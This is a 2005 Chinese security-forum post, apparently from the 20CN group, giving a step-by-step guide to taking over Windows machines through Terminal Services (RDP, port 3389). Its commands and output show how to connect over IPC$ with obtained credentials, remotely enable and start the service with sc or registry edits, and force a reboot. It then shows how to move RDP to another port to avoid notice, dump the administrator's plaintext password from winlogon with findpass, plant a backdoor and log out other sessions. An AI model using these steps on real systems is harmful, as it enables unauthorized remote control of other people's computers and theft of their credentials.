论坛: 菜鸟乐园 标题: 终端服务的全攻略 复制本贴地址    
作者: bluehip [bluehip]    论坛用户   登录
终端服务的全攻略

冰盟科技,欢迎大家交流安全技术! www.bingke.org


作者:霜风



一,引言
    WIN系统NT版本以上提供了一项特殊的服务―终端服务,在网络上熟成3389服务,有些读者肯定会说:不就是3389输入法漏洞吗?都知道啊,这句话是大错特错,3389不是输入法漏洞,3389并不一定是有输入法漏洞,它是windows的一个正常的服务而已,只是没有打上补丁的而开的3389(终端服务)端口,可以利用输入法漏洞来入侵,但是现在这种漏洞已经很少了.但真正全面了解终端服务的却是少之又少,这里我将带大家全面的了解,使大家在网络安全方面扫平一个障碍。



二,终端服务的概念
终端服务概述



  终端服务提供了通过作为终端仿真器工作的“瘦客户机”软件远程访问服务器桌面的能力。终端服务只把该程序的用户界面传给客户机。客户机然后返回键盘和鼠标单击动作,以便由服务器处理。每个用户都只能登录并看到它们自己的会话,这些会话由服务器操作系统透明地进行管理,而且与任何其他客户机会话无关。客户软件可以运行在多个客户机硬件设备上,包括计算机和基于 Windows 的终端。其他设备,如 Macintosh 计算机或基于 UNIX 的工作站,也可以使用其他第三方的软件连接到终端服务器。



终端服务可以在应用服务器模式或远程管理模式下在服务器上进行配置。作为应用服务器,终端服务提供了一种有效而可*的方式,通过网络服务器分发基于 Windows 的程序。在应用服务器模式下,终端服务为可能无法正常运行 Windows 的计算机显示 Windows 2000 的桌面以及目前基于 Windows 的大多数应用程序。在远程管理模式下使用时,终端服务提供了远程访问的能力,使您可以从网络上的任何地方虚拟地管理您的服务器。



终端服务有以下好处:



    更快地显示 Windows 2000 的桌面。终端服务架设了一座从旧式桌面迁移到 Windows 2000 Professional 的桥梁,为非计算机桌面以及需要进行硬件升级才能在本地完全运行 Windows 2000 操作系统的计算机提供了一种虚拟的 Windows 2000 桌面环境。终端服务客户可用于多种不同的桌面平台,包括 MS-DOS、基于 Windows 的终端、Macintosh 和 UNIX。(与 MS-DOS、Macintosh 和基于 UNIX 的计算机的连接需要附加的软件)。
充分利用已有的硬件。终端服务扩展了分布式计算模型,允许计算机同时作为瘦客户机和具有完整功能的个人计算机操作。当计算机在现有的网络上时,可以继续使用,同时也可作为能仿真 Windows 2000 Professional 桌面的瘦客户机使用。
程序的集中配置。使用运行在 Windows 2000 Server 上的终端服务,所有程序的执行、数据的处理以及数据的存储都在服务器上进行,程序得以集中配置。终端服务可确保所有客户机都能访问当前版本的程序。软件只能在服务器上安装一次,而不能安装在您单位的每个桌面上,这样可减少单独更新计算机所花费的成本。
远程管理。终端服务提供了对 Windows 2000 Server 的远程管理,为系统管理员提供了从任何客户机通过广域网或拨号连接远程管理其服务器的一种方法



黑客为什么喜欢终端服务:
  主要是终端服务有3个特性:
            易于使用
            可管理性
            安全性
这3个特性决定了它在网络界的地位,它比任何一个木马的动能都强大,因为有了它,你就等于完全控制了对方的机子一样,可以完全在上面完成本机完成的一切入侵任务。(只要你的网速够快)




但是这里还是要不厌其烦的声明一次:3389只是个服务,不是什么漏洞,你扫到了3389端口并不代表你就可以入侵它,只能说明对方开了终端服务。



三,关于开启终端服务
    利用工具开3389,我就不想多说了,这样开没多大技术性,这里我主要介绍不用任何工具开3389的两种方法。
1,利用SC开启对方终端服务



首先先辨别对方是不是2000SERVER,可以用小容CCA看对方的用户,如果有TsInternetUser这个用户,9成为SERVER,



C:\>cca \\192.168.0.29 dudu dancewithsnow



Check Clone Account, by netXeyes 2002/04/29
Written by netXeyes 2002, dansnow@21cn.com



Connect 192.168.0.29 ....OK
Prepairing ....OK
Processing ....OK
Checking ....



Check Result:



[DuDu] AS SAME AS [administrator]
[Guest] AS SAME AS [administrator]
[IUSR_RONG] AS SAME AS [administrator]
[IWAM_RONG] AS SAME AS [administrator]
[TEST] AS SAME AS [administrator]
[xr] AS SAME AS [administrator]



很明显这个不是SERVER,接着看使例:



C:\>net use \\xxx.xxx.xxx.xxx\ipc$ "password" /user:"name"



第一步,检查对方是否真的禁用了Terminal server



C:\>sc \\xxx.xxx.xxx.xxx qc termservice
[SC] GetServiceConfig SUCCESS



SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 4 DISABLED
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Terminal Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem



仔细看 START_TYPE一项,显示对方该服务的启动模式为“DISABLED”也就是“禁用”。



第二步,更改对方终端服务的启动模式



C:\>sc \\xxx.xxx.xxx.xxx config termservice start= auto



[SC] ChangeServiceConfig SUCCESS



好了,现在我们已经把对方终端服务的启动模式修改成自动了。



第三步,再检查一便对方终端服务的启动模式



C:\>sc \\TEST qc termservice
[SC] GetServiceConfig SUCCESS



SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\WINNT\System32\termsrv.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Terminal Services
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem



仔细看 START_TYPE一项,显示对方该服务的启动模式为“AUTO_START”也就是“自动”。



OK
第四步,启动对方的终端服务



C:\>sc \\xxx.xxx.xxx.xxx start termservice



SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x1
WAIT_HINT : 0x7530



C:\>sc \\xxx.xxx.xxx.xxx query termservice



SERVICE_NAME: termservice
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN)
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0




到这里,对方的3389就在命令行下被启动了。



2,用远程修改注册表
首先打开注册表,注册表―连接网络注册表(前提是先跟对方建立空连接)找到并改为下列的值,
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache]
"Enabled"="0"



[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]
"ShutdownWithoutLogon"="0"



[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer]
"EnableAdminTSRemote"=dword:00000001



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]
"TSEnabled"=dword:00000001



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD]
"Start"=dword:00000002



[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]
"Start"=dword:00000002



[HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle]
"Hotkey"="1"



接着输入:
shutdown \\xxx.xxx.xxx.xxx -r
对方重起后,3389服务就开了。



四,进入后该做的事
1,首先是改3389端口了,修改服务器端的端口设置,注册表有2个地方需要修改
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp]
PortNumber值,默认是3389,修改成所希望的端口,比如6000
第二个地方:
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] 
PortNumber值,默认是3389,修改成所希望的端口,比如6000
现在这样就可以了。重启系统就可以了.
注意:事实上,只修改第二处也是可以的。另外,第二处的标准联结应该是
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\<connection>
<connection>表示具体的某个RDP-TCP连结。
也可以下载这个小程序更改 http://www.haowawa.com/down.c3389.zip
格式为
c3389 port
改完以后重起就生效了,这时在登陆器里IP:你改的端口,就可以登陆了。



2,得到一个安全帐号,什么帐号最安全?当然是管理员的帐号,这里可以用FINDPASS和牛族NT/2000/XP密码大盗,由于后者我已经多次讲过,所以这次我讲讲怎么用FINDPASS得到管理员帐号,到小凤居下载后,包里会有两个文件:findpass和pulist这两个文件,很明显这两个文件要一起用。
首先运行PULIST,找到winlogon.exe后面的PID的值,这里为204,记下来,再找到administrator所在的域,这里为SHUANGFENG\Administrator,接着运行findpass,格式为:
findpass 机器名称 用户名称 WinLogon的PID
我们就输入:findpass shuangfeng administrator 204
回车后,找到这一行



The logon information is: SHUANGFENG/Administrator/5201314



5201314就是密码了



3,留后门,网上后门多种多样,可以供大家自由选择,但切记一条:枪打出头鸟,最流行的后门也是最容易被杀的后门,关于怎么隐藏后门和留什么样的后门请大家看下期的黑客在线,我会专门讲解。



附录:
1,超出最大连接数的解决办法:
首先你可以telnet到此主机上(不管你用哪种方法)
上去后,先看登陆的用户:
c:\tools>query user
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-19 2:37
w1 1 已断开 无2002-1-19 3:14



//你看到的可能是两个以上的RDP连接,在这里只是给大家个演示.
看到吗? ID 0 的用户是本地登陆的,ID 1 是3389登陆的,已经断开了,就把它踢掉,



C:\>logoff 1



C:\>query user //再看看
USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME
>w1 console 0 运行中 . 2002-1-19 2:37



//没了!就可上了!



2,3389中的快捷键:
CTRL+ALT+END 打开“Windows 安全”对话框。
ALT+PAGE UP 从左向右在程序之间切换。
ALT+PAGE DOWN 从右向左在程序之间切换。
ALT+INSERT 按启动顺序来回切换程序。
ALT+HOME 显示“开始”菜单。
CTRL+ALT+BREAK 在窗口(如果适用)和全屏显示之间切换客户端。
ALT+DELETE 显示窗口的弹出式菜单。
CTRL+ALT+减号 (-) 将客户端活动窗口的快照放在“终端”服务器的剪贴板上(与在本地计算机上按下 ALT+PrintScrn 键时的功能相同)。
CTRL+ALT+加号 (+) 将整个客户端窗口区域的快照放在“终端”服务器的剪贴板上(与在本地计算机上按下 PrintScrn 键时的功能相同)。
注意:
在NEC98 计算机中,这些快捷键在以下两种情况下会有些不同:
CTRL+ALT+BREAK由 F12 键代替。
CTRL+ALT+END 由 F15 键代替。



(完)


地主 发表时间: 05-05-20 12:42

回复: virgoshaka [virgoshaka]   论坛用户   登录
so long~~~~

B1层 发表时间: 05-05-20 14:02

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号